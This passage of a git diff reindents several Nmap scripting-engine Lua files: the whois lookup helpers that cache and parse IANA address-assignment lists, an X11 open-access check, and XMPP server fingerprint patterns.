"\n%s*([Uu]nallocated resource:%s*$addr)", + "\n%s*([Rr]eserved:%s*$addr)", + "\n[^\n]*([Nn]ot%s[Aa]ssigned[^\n]*$addr)", + "\n%s*(No match!!)%s*\n", + "(Invalid IP or CIDR block:%s*$addr)" + } + nmap.registry.whois.m_err = { + "\n%s*([Aa]n [Ee]rror [Oo]ccured)%s*\n", + "\n[^\n]*([Ee][Rr][Rr][Oo][Rr][^\n]*)\n" + } + + nmap.registry.whois.remote_assignments_files = {} + nmap.registry.whois.remote_assignments_files.ipv4 = { + { + remote_resource = "http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.txt", + local_resource = "ipv4-address-space", + match_assignment = "^%s*([%.%d]+/%d+)", + match_service = "whois%.(%w+)%.net" + } + } + nmap.registry.whois.remote_assignments_files.ipv6 = { + --[[{ + remote_resource = "http://www.iana.org/assignments/ipv6-address-space/ipv6-address-space.txt", + local_resource = "ipv6-address-space", + match_assignment = "^([:%x]+/%d+)", + match_service = "^[:%x]+/%d+%s*(%w+)" + },--]] + { + remote_resource = "http://www.iana.org/assignments/ipv6-unicast-address-assignments/ipv6-unicast-address-assignments.txt", + local_resource = "ipv6-unicast-address-assignments", + match_assignment = "^%s*([:%x]+/%d+)", + match_service = "whois%.(%w+)%.net" + } + } + + local err + + -- get and validate any --script-args + get_args() + + -- mutex for each service + nmap.registry.whois.mutex = {} + for id, v in pairs( nmap.registry.whois.whoisdb ) do + if id ~= "iana" then + nmap.registry.whois.mutex[id] = nmap.mutex(nmap.registry.whois.whoisdb[id]) + end + end + + -- get IANA assignments lists + if nmap.registry.whois.using_local_assignments_file then + nmap.registry.whois.local_assignments_data, err = get_local_assignments_data() + if err then nmap.registry.whois.using_local_assignments_file = false end + end + + nmap.registry.whois.init_done = true + +end + + + +--- +-- Parses the command line arguments passed to the script with --script-args. +-- Sets flags in the registry which threads read to determine certain behaviours. +-- Permitted args are 'nofile' - Prevents use of a list of assignments to determine which service to query, +-- 'nofollow' - Prevents following redirects found in records, +-- 'arin', 'ripe', 'apnic', etc. - Service id's, as defined in the whoisdb table in the registry (see script_init). + +function get_args() + + if not nmap.registry.args then return end + + local args = stdnse.get_script_args('whois.whodb') + + if type( args ) ~= "string" or ( args == "" ) then return end + + local t = {} + -- match words in args which may be whois dbs or other arguments + for db in string.gmatch( args, "%w+" ) do + if not nmap.registry.whois.whoisdb[db] then + if ( db == "nofollow" ) then + nmap.registry.whois.nofollow = true + elseif ( db == "nocache" ) then + nmap.registry.whois.using_cache = false + elseif ( db == "nofile" ) then + nmap.registry.whois.using_local_assignments_file = false + stdnse.print_debug( 2, "%s: Not using local assignments data.", SCRIPT_NAME ) + end + elseif not ( string.match( table.concat( t, " " ), db ) ) then + -- we have a unique valid whois db + t[#t+1] = db + end + end + + if ( #t > 0 ) and nmap.registry.whois.using_local_assignments_file then + -- "nofile" was not explicitly supplied, but it is implied by supplying custom whoisdb_default_order + nmap.registry.whois.using_local_assignments_file = false + stdnse.print_debug(3, "%s: Not using local assignments data because custom whoisdb_default_order was supplied.", SCRIPT_NAME) + end + + if ( #t > 1 ) and nmap.registry.whois.nofollow then + -- using nofollow, we do not follow redirects and can only accept what we find as a record therefore we only accept the first db supplied + t = {t[1]} + stdnse.print_debug( 1, "%s: Too many args supplied with 'nofollow', only using %s.", SCRIPT_NAME, t[1] ) + end + + if ( #t > 0 ) then + nmap.registry.whois.whoisdb_default_order = t + stdnse.print_debug( 2, "%s: whoisdb_default_order: %s.", SCRIPT_NAME, table.concat( t, " " ) ) + end + +end + + + +--- +-- Makes IANA hosted assignments data available for lookups against that data. In more detail it: +-- Caches a local copy of remote assignments data if copies do not currently exist or are out-of-date. +-- Checks whether the cached copies require updating and performs update as required. +-- Parses the cached copies and populates a table of lookup data which is returned to the caller. +-- Sets a flag in the registry to prevent use of the lookup data in the event of an error. +-- @return Table of lookup data (or nil in case of an error). +-- @return Nil or error message in case of an error. +-- @see get_parentpath, file_exists, requires_updating, read_from_file, conditional_download, +-- write_to_file, parse_assignments + +function get_local_assignments_data() + + if not next( nmap.registry.whois.remote_assignments_files ) then + nmap.registry.whois.using_local_assignments_file = false + return nil, "Error in get_local_assignments_data: Remote resources not defined in remote_assignments_files registry key" + end + + -- get the directory path where cached files will be stored. + local fetchfile = "nmap-services" + local directory_path, err = get_parentpath( fetchfile ) + if err then + stdnse.print_debug( 1, "%s: Nmap.fetchfile() failed to get a path to %s: %s.", SCRIPT_NAME, fetchfile, err ) + return nil, err + end + + local ret = {} + + -- cache or update and parse each remote file for each address family + for address_family, t in pairs( nmap.registry.whois.remote_assignments_files ) do + for i, assignment_data_spec in ipairs( t ) do + + local update_required, modified_date, entity_tag, err + + -- do we have a cached file and does it need updating? + local file, exists = directory_path .. assignment_data_spec.local_resource + exists, err = file_exists( file ) + if not exists and err then + stdnse.print_debug( 1, "%s: Error accessing %s: %s.", SCRIPT_NAME, file, err ) + elseif not exists then + update_required = true + stdnse.print_debug( 2, "%s: %s does not exist or is empty. Fetching it now...", SCRIPT_NAME, file ) + elseif exists then + update_required, modified_date, entity_tag = requires_updating( file ) + end + + local file_content + + -- read an existing and up-to-date file into file_content. + if exists and not update_required then + stdnse.print_debug( 2, "%s: %s was cached less than %s ago. Reading...", SCRIPT_NAME, file, nmap.registry.whois.local_assignments_file_expiry ) + file_content = read_from_file( file ) + end + + -- cache or update and then read into file_content + local http_response, write_success + if update_required then + http_response = ( conditional_download( assignment_data_spec.remote_resource, modified_date, entity_tag ) ) + if not http_response or type( http_response.status ) ~= "number" then + stdnse.print_debug( 1, "%s: Failed whilst requesting %s.", SCRIPT_NAME, assignment_data_spec.remote_resource ) + elseif http_response.status == 200 then + -- prepend our file header + stdnse.print_debug( 2, "%s: Retrieved %s.", SCRIPT_NAME, assignment_data_spec.remote_resource ) + file_content = stdnse.strsplit( "\r?\n", http_response.body ) + table.insert( file_content, 1, "** Do Not Alter This Line or The Following Line **" ) + local hline = {} + hline[#hline+1] = "<" .. os.time() .. ">" + hline[#hline+1] = "<" .. http_response.header["last-modified"] .. ">" + if http_response.header.etag then + hline[#hline+1] = "<" .. http_response.header.etag .. ">" + end + table.insert( file_content, 2, table.concat( hline ) ) + write_success, err = write_to_file( file, file_content ) + if err then + stdnse.print_debug( 1, "%s: Error writing %s to %s: %s.", SCRIPT_NAME, assignment_data_spec.remote_resource, file, err ) + end + elseif http_response.status == 304 then + -- update our file header with a new timestamp + stdnse.print_debug( 1, "%s: %s is up-to-date.", SCRIPT_NAME, file ) + file_content = read_from_file( file ) + file_content[2] = file_content[2]:gsub("^<[-+]?%d+>(.*)$", "<" .. os.time() .. ">%1") + write_success, err = write_to_file( file, file_content ) + if err then + stdnse.print_debug( 1, "%s: Error writing to %s: %s.", SCRIPT_NAME, file, err ) + end + else + stdnse.print_debug( 1, "%s: HTTP %s whilst requesting %s.", SCRIPT_NAME, http_response.status, assignment_data_spec.remote_resource ) + end + end + + + if file_content then + -- Create a table for this address family (if there isn't one already). + if not ret[address_family] then ret[address_family] = {} end + -- Parse data and add to the table for this address family. + local t + t, err = parse_assignments( assignment_data_spec, file_content ) + if #t == 0 or err then + -- good header, but bad file? Kill the file! + write_to_file( file, "" ) + stdnse.print_debug( 1, "%s: Problem with the data in %s.", SCRIPT_NAME, file ) + else + for i, v in pairs( t ) do + ret[address_family][#ret[address_family]+1] = v + end + end + end + + end -- file + end -- af + + -- If we decide to use more than one assignments file for ipv6 we may need to sort the resultant parsed list so that sub-assignments appear + -- before their parent. This is expensive, but it's worth doing to ensure the lookup process returns the correct service. + -- table.sort( ret.ipv6, sort_assignments ) + + -- final check for an empty table which we'll convert to nil + for af, t in pairs( ret ) do + if #t == 0 then + ret[af] = nil + stdnse.print_debug( 1, "%s: Cannot use local assignments file for address family %s.", SCRIPT_NAME, af ) + end + end + + return ret + +end + + + +--- +-- Uses nmap.fetchfile to get the path of the parent directory of the supplied Nmap datafile SCRIPT_NAME. +-- @param fname String - Filename of an Nmap datafile. +-- @return String - The filepath of the directory containing the supplied SCRIPT_NAME including the trailing slash (or nil in case of an error). +-- @return Nil or error message in case of an error. + +function get_parentpath( fname ) + + if type( fname ) ~= "string" or fname == "" then + return nil, "Error in get_parentpath: Expected fname as a string." + end + + local path = nmap.fetchfile( fname ) + if not path then + return nil, "Error in get_parentpath: Call to fetchfile() failed." + end + + path = path:sub( 1, path:len() - fname:len() ) + return path + +end + + + +--- +-- Given a filepath, checks for the existence of that file. +-- @param file Path to a file. +-- @return Boolean True if file exists and can be read or false if file does not exist or is empty or cannot be otherwise read. +-- @return Nil or error message. No error message if the file is empty or does not exist, only if the file cannot be read for some other reason. + +function file_exists( file ) + + local f, err, _ = io.open( file, "r" ) + if ( f and f:read() ) then + f:close() + return true, nil + elseif f then + f:close() + return false, nil + elseif not f and err:match("No such file or directory") then + return false, nil + elseif err then + return false, err + else + return false, ( "unforseen error while checking " .. file ) + end + +end + + + +--- +-- Checks whether a cached file requires updating via HTTP. +-- The cached file should contain the following string on the second line: "". +-- where timestamp is number of seconds since epoch at the time the file was last cached and +-- Last-Modified-Date is an HTTP compliant date sting returned by an HTTP server at the time the file was last cached and +-- Entity-Tag is an HTTP Etag returned by an HTTP server at the time the file was last cached. +-- @param file Filepath of the cached file. +-- @return Boolean False if file does not require updating, true otherwise. +-- @return nil or a valid modified-date (string). +-- @return nil or a valid entity_tag (string). +-- @see file_is_expired + +function requires_updating( file ) + + local last_cached, mod, etag, has_expired + + local f, err, _ = io.open( file, "r" ) + if not f then return true, nil end + + local _ = f:read("*line") + local stamp = f:read("*line") + f:close() + if not stamp then return true, nil end + + last_cached, mod, etag = stamp:match( "^<([^>]*)><([^>]*)>]*)>?$" ) + if (etag == "") then etag = nil end + if not ( last_cached or mod or etag ) then return true, nil end + if not ( + mod:match( "%a%a%a,%s%d%d%s%a%a%a%s%d%d%d%d%s%d%d:%d%d:%d%d%s%u%u%u" ) + or + mod:match( "%a*day,%d%d-%a%a%a-%d%d%s%d%d:%d%d:%d%d%s%u%u%u" ) + or + mod:match( "%a%a%a%s%a%a%a%s%d?%d%s%d%d:%d%d:%d%d%s%d%d%d%d" ) + ) then + mod = nil + end + if not etag and not mod then + return true, nil + end - -- Check whether the file was cached within local_assignments_file_expiry (registry value) - has_expired = file_is_expired( last_cached ) + -- Check whether the file was cached within local_assignments_file_expiry (registry value) + has_expired = file_is_expired( last_cached ) - return has_expired, mod, etag + return has_expired, mod, etag - end +end - --- - -- Reads a file, line by line, into a table. - -- @param file String representing a filepath. - -- @return Table (array-style) of lines read from the file (or nil in case of an error). - -- @return Nil or error message in case of an error. +--- +-- Reads a file, line by line, into a table. +-- @param file String representing a filepath. +-- @return Table (array-style) of lines read from the file (or nil in case of an error). +-- @return Nil or error message in case of an error. - function read_from_file( file ) - - if type( file ) ~= "string" or file == "" then - return nil, "Error in read_from_file: Expected file as a string." - end +function read_from_file( file ) + + if type( file ) ~= "string" or file == "" then + return nil, "Error in read_from_file: Expected file as a string." + end - local f, err, _ = io.open( file, "r" ) - if not f then - stdnse.print_debug( 1, "%s: Error opening %s for reading: %s", SCRIPT_NAME, file, err ) - return nil, err - end + local f, err, _ = io.open( file, "r" ) + if not f then + stdnse.print_debug( 1, "%s: Error opening %s for reading: %s", SCRIPT_NAME, file, err ) + return nil, err + end - local line, ret = nil, {} - while true do - line = f:read() - if not line then break end - ret[#ret+1] = line - end - - f:close() + local line, ret = nil, {} + while true do + line = f:read() + if not line then break end + ret[#ret+1] = line + end + + f:close() - return ret + return ret - end +end - --- - -- Performs either an HTTP Conditional GET request if mod_date or e_tag is passed, or a plain GET request otherwise. - -- Will follow a single redirect for the remote resource. - -- @param url String representing the full URL of the remote resource. - -- @param mod_date String representing an HTTP date. - -- @param e_tag String representing an HTTP entity tag. - -- @return Table as per http.request or nil in case of a non-HTTP error. - -- @return Nil or error message in case of an error. - -- @see http.request - - function conditional_download( url, mod_date, e_tag ) +--- +-- Performs either an HTTP Conditional GET request if mod_date or e_tag is passed, or a plain GET request otherwise. +-- Will follow a single redirect for the remote resource. +-- @param url String representing the full URL of the remote resource. +-- @param mod_date String representing an HTTP date. +-- @param e_tag String representing an HTTP entity tag. +-- @return Table as per http.request or nil in case of a non-HTTP error. +-- @return Nil or error message in case of an error. +-- @see http.request + +function conditional_download( url, mod_date, e_tag ) - if type( url ) ~= "string" or url == "" then - return nil, "Error in conditional_download: Expected url as a string." - end + if type( url ) ~= "string" or url == "" then + return nil, "Error in conditional_download: Expected url as a string." + end - -- mod_date and e_tag allowed to be nil or a non-empty string - if mod_date and ( type( mod_date ) ~= "string" or mod_date == "" ) then - return nil, "Error in conditional_download: Expected mod_date as nil or as a non-empty string." - end - if e_tag and ( type( e_tag ) ~= "string" or e_tag == "" ) then - return nil, "Error in conditional_download: Expected e_tag as nil or as a non-empty string." - end + -- mod_date and e_tag allowed to be nil or a non-empty string + if mod_date and ( type( mod_date ) ~= "string" or mod_date == "" ) then + return nil, "Error in conditional_download: Expected mod_date as nil or as a non-empty string." + end + if e_tag and ( type( e_tag ) ~= "string" or e_tag == "" ) then + return nil, "Error in conditional_download: Expected e_tag as nil or as a non-empty string." + end - -- use e_tag in preference to mod_date - local request_options = {} - request_options.header = {} - if e_tag then - request_options.header["If-None-Match"] = e_tag - elseif mod_date then - request_options.header["If-Modified-Since"] = mod_date - end - if not next( request_options.header ) then request_options = nil end + -- use e_tag in preference to mod_date + local request_options = {} + request_options.header = {} + if e_tag then + request_options.header["If-None-Match"] = e_tag + elseif mod_date then + request_options.header["If-Modified-Since"] = mod_date + end + if not next( request_options.header ) then request_options = nil end - local request_response = http.get_url( url, request_options ) + local request_response = http.get_url( url, request_options ) - -- follow one redirection - if request_response.status ~= 304 and ( tostring( request_response.status ):match( "30%d" ) and - type( request_response.header.location ) == "string" and request_response.header.location ~= "" ) then - stdnse.print_debug( 2, "%s: HTTP Status:%d New Location: %s.", SCRIPT_NAME, request_response.status, request_response.header.location ) - request_response = http.get_url( request_response.header.location, request_options ) - end + -- follow one redirection + if request_response.status ~= 304 and ( tostring( request_response.status ):match( "30%d" ) and + type( request_response.header.location ) == "string" and request_response.header.location ~= "" ) then + stdnse.print_debug( 2, "%s: HTTP Status:%d New Location: %s.", SCRIPT_NAME, request_response.status, request_response.header.location ) + request_response = http.get_url( request_response.header.location, request_options ) + end - return request_response + return request_response - end +end - --- - -- Writes the supplied content to file. - -- @param file String representing a filepath (if it exists it will be overwritten). - -- @param content String or table of data to write to file. Empty string or table is permitted. - -- A table will be written to file with each element of the table on a new line. - -- @return Boolean True on success or nil in case of an error. - -- @return Nil or error message in case of an error. +--- +-- Writes the supplied content to file. +-- @param file String representing a filepath (if it exists it will be overwritten). +-- @param content String or table of data to write to file. Empty string or table is permitted. +-- A table will be written to file with each element of the table on a new line. +-- @return Boolean True on success or nil in case of an error. +-- @return Nil or error message in case of an error. - function write_to_file( file, content ) +function write_to_file( file, content ) - if type( file ) ~= "string" or file == "" then - return nil, "Error in write_to_file: Expected file as a string." - end - if type( content ) ~= "string" and type( content ) ~= "table" then - return nil, "Error in write_to_file: Expected content as a table or string." - end + if type( file ) ~= "string" or file == "" then + return nil, "Error in write_to_file: Expected file as a string." + end + if type( content ) ~= "string" and type( content ) ~= "table" then + return nil, "Error in write_to_file: Expected content as a table or string." + end - local f, err, _ = io.open( file, "w" ) - if not f then - stdnse.print_debug( 1, "%s: Error opening %s for writing: %s.", SCRIPT_NAME, file, err ) - return nil, err - end + local f, err, _ = io.open( file, "w" ) + if not f then + stdnse.print_debug( 1, "%s: Error opening %s for writing: %s.", SCRIPT_NAME, file, err ) + return nil, err + end - if ( type( content ) == "table" ) then - content = table.concat( content, "\n" ) or "" - end - f:write( content ) + if ( type( content ) == "table" ) then + content = table.concat( content, "\n" ) or "" + end + f:write( content ) - f:close() + f:close() - return true + return true - end +end - --- - -- Converts raw data from an assignments file into a form optimised for lookups against that data. - -- @param address_family_spec Table (assoc. array) containing patterns for extracting data. - -- @param table_of_lines Table containing a line of data per table element. - -- @return Table - each element of the form { range = { first = data, last = data }, service = data } (or nil in case of an error). - -- @return Nil or error message in case of an error. +--- +-- Converts raw data from an assignments file into a form optimised for lookups against that data. +-- @param address_family_spec Table (assoc. array) containing patterns for extracting data. +-- @param table_of_lines Table containing a line of data per table element. +-- @return Table - each element of the form { range = { first = data, last = data }, service = data } (or nil in case of an error). +-- @return Nil or error message in case of an error. - function parse_assignments( address_family_spec, table_of_lines ) +function parse_assignments( address_family_spec, table_of_lines ) - if #table_of_lines < 1 then - return nil, "Error in parse_assignments: Expected table_of_lines as a non-empty table." - end + if #table_of_lines < 1 then + return nil, "Error in parse_assignments: Expected table_of_lines as a non-empty table." + end - local mnetwork = address_family_spec.match_assignment - local mservice = address_family_spec.match_service + local mnetwork = address_family_spec.match_assignment + local mservice = address_family_spec.match_service - local ret, net, svc = {} + local ret, net, svc = {} - for i, line in ipairs( table_of_lines ) do + for i, line in ipairs( table_of_lines ) do - net = line:match( mnetwork ) - if net then - svc = line:match( mservice ) - if svc then svc = string.lower( svc ) end - if not svc or ( svc == "iana" ) then - svc = "arin" - elseif not nmap.registry.whois.whoisdb[svc] then - svc = "arin" - end - -- optimise the data - local first_ip, last_ip, err = ipOps.get_ips_from_range( net ) - if not err then - local t = { first = first_ip, last = last_ip } - ret[#ret+1] = { range = t, service = svc } - end - end + net = line:match( mnetwork ) + if net then + svc = line:match( mservice ) + if svc then svc = string.lower( svc ) end + if not svc or ( svc == "iana" ) then + svc = "arin" + elseif not nmap.registry.whois.whoisdb[svc] then + svc = "arin" + end + -- optimise the data + local first_ip, last_ip, err = ipOps.get_ips_from_range( net ) + if not err then + local t = { first = first_ip, last = last_ip } + ret[#ret+1] = { range = t, service = svc } + end + end - end + end - return ret + return ret - end +end - --- - -- Checks the age of the supplied timestamp and compares it to the value of local_assignments_file_expiry. - -- @param time_string String representing a timestamp (seconds since epoch). - -- @return Boolean True if the period elapsed since the timestamp is longer than the value of local_assignments_file_expiry - -- also returns true if the parameter is not of the expected type, otherwise returns false. - -- @see sane_expiry_period +--- +-- Checks the age of the supplied timestamp and compares it to the value of local_assignments_file_expiry. +-- @param time_string String representing a timestamp (seconds since epoch). +-- @return Boolean True if the period elapsed since the timestamp is longer than the value of local_assignments_file_expiry +-- also returns true if the parameter is not of the expected type, otherwise returns false. +-- @see sane_expiry_period - function file_is_expired( time_string ) +function file_is_expired( time_string ) - if type( time_string ) ~= "string" or time_string == "" then return true end - local allowed_age = nmap.registry.whois.local_assignments_file_expiry - if allowed_age == "" then return true end + if type( time_string ) ~= "string" or time_string == "" then return true end + local allowed_age = nmap.registry.whois.local_assignments_file_expiry + if allowed_age == "" then return true end - local cached_time = tonumber(time_string) - if not cached_time then return true end + local cached_time = tonumber(time_string) + if not cached_time then return true end - local now_time = os.time() - if now_time < cached_time then return true end - if now_time > ( cached_time + sane_expiry_period( allowed_age ) ) then return true end + local now_time = os.time() + if now_time < cached_time then return true end + if now_time > ( cached_time + sane_expiry_period( allowed_age ) ) then return true end - return false + return false - end +end - --- - -- Checks that the supplied string represents a period of time between 0 and 7 days. - -- @param period String representing a period. - -- @return Number representing the supplied period or a failsafe period in whole seconds. - -- @see get_period +--- +-- Checks that the supplied string represents a period of time between 0 and 7 days. +-- @param period String representing a period. +-- @return Number representing the supplied period or a failsafe period in whole seconds. +-- @see get_period - function sane_expiry_period( period ) +function sane_expiry_period( period ) - local sane_default_expiry = 57600 -- 16h - local max_expiry = 604800 -- 7d + local sane_default_expiry = 57600 -- 16h + local max_expiry = 604800 -- 7d - period = get_period( period ) - if not period or ( period == "" ) then return sane_default_expiry end + period = get_period( period ) + if not period or ( period == "" ) then return sane_default_expiry end - if period < max_expiry then return period end - return max_expiry + if period < max_expiry then return period end + return max_expiry - end +end - --- - -- Converts a string representing a period of time made up of a quantity and a unit such as "24h" - -- into whole seconds. - -- @param period String combining a quantity and a unit of time. - -- Acceptable units are days (D or d), hours (H or h), minutes (M or m) and seconds (S or s). - -- If a unit is not supplied or not one of the above acceptable units, it is assumed to be seconds. - -- Negative or fractional periods are permitted. - -- @return Number representing the supplied period in whole seconds (or nil in case of an error). +--- +-- Converts a string representing a period of time made up of a quantity and a unit such as "24h" +-- into whole seconds. +-- @param period String combining a quantity and a unit of time. +-- Acceptable units are days (D or d), hours (H or h), minutes (M or m) and seconds (S or s). +-- If a unit is not supplied or not one of the above acceptable units, it is assumed to be seconds. +-- Negative or fractional periods are permitted. +-- @return Number representing the supplied period in whole seconds (or nil in case of an error). - function get_period( period ) +function get_period( period ) - if type( period ) ~= string or ( period == "" ) then return nil end - local quant, unit = period:match( "(-?+?%d*%.?%d*)([SsMmHhDd]?)" ) - if not ( tonumber( quant ) ) then return nil end + if type( period ) ~= string or ( period == "" ) then return nil end + local quant, unit = period:match( "(-?+?%d*%.?%d*)([SsMmHhDd]?)" ) + if not ( tonumber( quant ) ) then return nil end - if ( string.lower( unit ) == "m" ) then - unit = 60 - elseif ( string.lower( unit ) == "h" ) then - unit = 3600 - elseif ( string.lower( unit ) == "d" ) then - unit = 86400 - else - -- seconds and catch all - unit = 1 - end + if ( string.lower( unit ) == "m" ) then + unit = 60 + elseif ( string.lower( unit ) == "h" ) then + unit = 3600 + elseif ( string.lower( unit ) == "d" ) then + unit = 86400 + else + -- seconds and catch all + unit = 1 + end - return ( math.modf( quant * unit ) ) + return ( math.modf( quant * unit ) ) - end +end - -- - -- Passed to table.sort, will sort a table of IP assignments such that sub-assignments appear before their parent. - -- This function is not in use at the moment (see get_local_assignments_data) and will not appear in nse documentation. - -- @param first Table { range = { first = IP_addr, last = IP_addr } } - -- @param second Table { range = { first = IP_addr, last = IP_addr } } - -- @return Boolean True if the tables are already in the correct order, otherwise false. +-- +-- Passed to table.sort, will sort a table of IP assignments such that sub-assignments appear before their parent. +-- This function is not in use at the moment (see get_local_assignments_data) and will not appear in nse documentation. +-- @param first Table { range = { first = IP_addr, last = IP_addr } } +-- @param second Table { range = { first = IP_addr, last = IP_addr } } +-- @return Boolean True if the tables are already in the correct order, otherwise false. - function sort_assignments( first, second ) +function sort_assignments( first, second ) - local f_lo, f_hi = first.range.first, first.range.last - local s_lo, s_hi = second.range.first, second.range.last + local f_lo, f_hi = first.range.first, first.range.last + local s_lo, s_hi = second.range.first, second.range.last - if ipOps.compare_ip( f_lo, "gt", s_lo ) then return false end - if ipOps.compare_ip( f_lo, "le", s_lo ) and ipOps.compare_ip( f_hi, "ge", s_hi ) then - return false - end + if ipOps.compare_ip( f_lo, "gt", s_lo ) then return false end + if ipOps.compare_ip( f_lo, "le", s_lo ) and ipOps.compare_ip( f_hi, "ge", s_hi ) then + return false + end - return true + return true - end +end diff --git a/scripts/x11-access.nse b/scripts/x11-access.nse index c4aa71686..51be26d06 100644 --- a/scripts/x11-access.nse +++ b/scripts/x11-access.nse @@ -28,47 +28,47 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"default", "safe", "auth"} portrule = function(host, port) - return ((port.number >= 6000 and port.number <= 6009) - or (port.service and string.match(port.service, "^X11"))) - -- If port.version.product is not equal to nil, version - -- detection "-sV" has already done this X server test. - and port.version.product == nil + return ((port.number >= 6000 and port.number <= 6009) + or (port.service and string.match(port.service, "^X11"))) + -- If port.version.product is not equal to nil, version + -- detection "-sV" has already done this X server test. + and port.version.product == nil end action = function(host, port) - local result, socket, try, catch - socket = nmap.new_socket() - catch = function() - socket:close() - end + local result, socket, try, catch + socket = nmap.new_socket() + catch = function() + socket:close() + end - try = nmap.new_try(catch) - try(socket:connect(host, port)) + try = nmap.new_try(catch) + try(socket:connect(host, port)) - -- Sending the network dump of a x11 connection request (captured - -- from the XOpenDisplay() function): - -- - -- 0x6c 0x00 0x0b 0x00 0x00 0x00 0x00 - -- 0x00 0x00 0x00 0x00 0x00 0x00 - try(socket:send("\108\000\011\000\000\000\000\000\000\000\000\000")) + -- Sending the network dump of a x11 connection request (captured + -- from the XOpenDisplay() function): + -- + -- 0x6c 0x00 0x0b 0x00 0x00 0x00 0x00 + -- 0x00 0x00 0x00 0x00 0x00 0x00 + try(socket:send("\108\000\011\000\000\000\000\000\000\000\000\000")) - -- According to the XOpenDisplay() sources, server answer is - -- stored in a xConnSetupPrefix structure [1]. The function - -- returns NULL if it does not succeed, and more precisely: When - -- the success field of this structure (stored on 1 byte) is not - -- equal to xTrue [2]. For more information, see the Xlib - -- programming Manual [3]. - -- - -- [1] xConnSetupPrefix structure is defined in X11/Xproto.h. - -- [2] xTrue = 0x01 according to X11/Xproto.h. - -- [3] http://www.sbin.org/doc/Xlib + -- According to the XOpenDisplay() sources, server answer is + -- stored in a xConnSetupPrefix structure [1]. The function + -- returns NULL if it does not succeed, and more precisely: When + -- the success field of this structure (stored on 1 byte) is not + -- equal to xTrue [2]. For more information, see the Xlib + -- programming Manual [3]. + -- + -- [1] xConnSetupPrefix structure is defined in X11/Xproto.h. + -- [2] xTrue = 0x01 according to X11/Xproto.h. + -- [3] http://www.sbin.org/doc/Xlib - result = try(socket:receive_bytes(1)) - socket:close() + result = try(socket:receive_bytes(1)) + socket:close() - -- Check if first byte received is 0x01 (xTrue: succeed). - if string.match(result, "^\001") then - return true, "X server access is granted" - end + -- Check if first byte received is 0x01 (xTrue: succeed). + if string.match(result, "^\001") then + return true, "X server access is granted" + end end diff --git a/scripts/xmpp-info.nse b/scripts/xmpp-info.nse index dd50d94bd..98beb80f3 100644 --- a/scripts/xmpp-info.nse +++ b/scripts/xmpp-info.nse @@ -74,401 +74,401 @@ categories = {"default", "safe", "discovery", "version"} local known_features = { - ['starttls'] = true, - ['compression'] = true, - ['mechanisms'] = true, - ['register'] = true, - ['dialback'] = true, - ['session'] = true, - ['auth'] = true, - ['bind'] = true, - ['c'] = true, - ['sm'] = true, - ['amp'] = true, - ['ver'] = true + ['starttls'] = true, + ['compression'] = true, + ['mechanisms'] = true, + ['register'] = true, + ['dialback'] = true, + ['session'] = true, + ['auth'] = true, + ['bind'] = true, + ['c'] = true, + ['sm'] = true, + ['amp'] = true, + ['ver'] = true } local check_citadele = function(id1, id2) - stdnse.print_debug("CHECK") - local i1 = tonumber(id1, 16) - local i2 = tonumber(id2, 16) - return i2 - i1 < 20 and i2 > i1 + stdnse.print_debug("CHECK") + local i1 = tonumber(id1, 16) + local i2 = tonumber(id2, 16) + return i2 - i1 < 20 and i2 > i1 end -- Be carefull while adding fingerprints into the table - it must be well sorted -- as some fingerprints are actually supersetted by another... local id_database = { - { - --f3af7012-5d06-41dc-b886-42521de4e198 - --'' - regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '[-]' .. - string.rep('[0-9a-f]', 4) .. '[-]' .. - string.rep('[0-9a-f]', 4) .. '[-]' .. - string.rep('[0-9a-f]', 4) .. '[-]' .. - string.rep('[0-9a-f]', 12) .. '$', - regexp2 = '^$', - name = 'prosody' - }, + { + --f3af7012-5d06-41dc-b886-42521de4e198 + --'' + regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '[-]' .. + string.rep('[0-9a-f]', 4) .. '[-]' .. + string.rep('[0-9a-f]', 4) .. '[-]' .. + string.rep('[0-9a-f]', 4) .. '[-]' .. + string.rep('[0-9a-f]', 12) .. '$', + regexp2 = '^$', + name = 'prosody' + }, - { - regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '$', - regexp2 = '^' .. string.rep('[0-9a-f]', 8) .. '$', - name = 'Citidel', - check = check_citadele - }, + { + regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '$', + regexp2 = '^' .. string.rep('[0-9a-f]', 8) .. '$', + name = 'Citidel', + check = check_citadele + }, - { - --1082952309 - --(no) - regexp1 = '^' .. string.rep('[0-9]', 9) .. '$', - regexp2 = nil, - name = 'jabberd' - }, - { - --1082952309 - --(no) - regexp1 = '^' .. string.rep('[0-9]', 10) .. '$', - regexp2 = nil, - name = 'jabberd' - }, + { + --1082952309 + --(no) + regexp1 = '^' .. string.rep('[0-9]', 9) .. '$', + regexp2 = nil, + name = 'jabberd' + }, + { + --1082952309 + --(no) + regexp1 = '^' .. string.rep('[0-9]', 10) .. '$', + regexp2 = nil, + name = 'jabberd' + }, - { - --8npnkiriy7ga6bak1bdpzn816tutka5sxvfhe70c - --egnlry6t9ji87r9dk475ecxc8dtmkuyzalk2jrvt - regexp1 = '^' .. string.rep('[0-9a-z]', 40) .. '$', - regexp2 = '^' .. string.rep('[0-9a-z]', 40) .. '$', - name = 'jabberd2' - }, + { + --8npnkiriy7ga6bak1bdpzn816tutka5sxvfhe70c + --egnlry6t9ji87r9dk475ecxc8dtmkuyzalk2jrvt + regexp1 = '^' .. string.rep('[0-9a-z]', 40) .. '$', + regexp2 = '^' .. string.rep('[0-9a-z]', 40) .. '$', + name = 'jabberd2' + }, - { - --4c9e369a841db417 - --fc0a60b82275289e - regexp1 = '^' .. string.rep('[0-9a-f]', 16) .. '$', - regexp2 = '^' .. string.rep('[0-9a-f]', 16) .. '$', - name = 'Isode M-Link' - }, + { + --4c9e369a841db417 + --fc0a60b82275289e + regexp1 = '^' .. string.rep('[0-9a-f]', 16) .. '$', + regexp2 = '^' .. string.rep('[0-9a-f]', 16) .. '$', + name = 'Isode M-Link' + }, - { - --1114798225 - --494549622 - regexp1 = '^' .. string.rep('[0-9]', 8) .. string.rep('[0-9]?', 2) .. '$', - regexp2 = '^' .. string.rep('[0-9]', 8) .. string.rep('[0-9]?', 2) .. '$', - name = 'ejabberd' - }, + { + --1114798225 + --494549622 + regexp1 = '^' .. string.rep('[0-9]', 8) .. string.rep('[0-9]?', 2) .. '$', + regexp2 = '^' .. string.rep('[0-9]', 8) .. string.rep('[0-9]?', 2) .. '$', + name = 'ejabberd' 